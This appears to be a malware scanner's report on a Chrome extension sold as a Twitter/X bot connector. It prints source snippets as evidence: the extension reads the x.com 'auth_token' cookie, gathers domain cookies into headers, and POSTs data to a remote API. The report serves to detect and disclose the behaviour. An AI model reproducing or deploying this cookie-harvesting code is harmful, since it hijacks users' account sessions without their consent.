Costras Extension 1.0.5
Steals Twitter auth tokens
“Twitter Bot Connector is the most secure and user-friendly way to connect your Twitter/X account to our advanced SaaS bot platform. Designe…”
Maps and POSTs cookies to remote hostAccess-token field reference
SHA-2560019b33ab133b981a1d9573809a51c289a0af9770276d0417f0c0eb6689d9bb4
Evidence
66:30… ctions
67async function getAuthTokenFromCookie() {
68 try {
69 return new Promise((resolve) => {
70 chrome.cookies.get({ url: 'https://x.com', name: 'auth_token' }, (cookie) => {
71 if (cookie && cookie.value) {
72 console.log('✅ Found auth_token via cookie API:', cookie.value.substring(0, 20) + '...');
73 resolve(cookie.value);
74 } else {
75 console.log('🔍 …
276:39… pdating Supabase connection status: ${isConnected ? 'connected' : 'disconnected'}`);
277
278 const response = await fetch(`https://api.costras.com${endpoint}`, {
279 method: 'POST',
280 headers: {
281 'Content-Type': 'application/json'
282 },
283 body: JSON.stringify(payload),
284 // Add timeout to prevent hanging requests
285 signal: AbortSignal.timeout(10000) // 10 second timeout
286 });
287
288 if (response.ok) {
289 const result = await response.json();
290 console.log('[Costras Extension] Supabase connection status updated:', result);
291 return result;
292 } else {
293 …
451:24… to get from cookies
452 const SUPABASE_AUTH_COOKIE_NAME = 'sb-sjsuwthvozuzabktkcxu-auth-token';
453 try {
454 const cookies = await chrome.cookies.getAll({ url: 'https://www.costras.com' });
455 const authCookie = cookies.find(c => c.name === SUPABASE_AUTH_COOKIE_NAME);
456 if (authCookie) {
⋯4 lines
1117:34… eSessionData.access_token;
1118 }
1119
1120 // STRATEGY 1: Read Supabase auth cookies (NOT Twitter cookies!)
1121 // Supabase sets cookie: sb-<project-ref>-auth-token
1122 const SUPABASE_AUTH_COOKIE_NAME = 'sb-sjsuwthvozuzabktkcxu-auth-token';
1123
⋯8 lines
1196:22… ld cookie header for API call (all cookies from this domain)
1197 if (cookies.length > 0) {
1198 const urlCookies = cookies.map(c => `${c.name}=${c.value}`).join('; ');
1199 if (cookieHeader) {
1200 cookieHeader += '; ' + urlCookies;
⋯6 lines
Showing the top 5 files — 2 more files (14 regions) not shown.
No evidence locations were recorded for this file. Raw result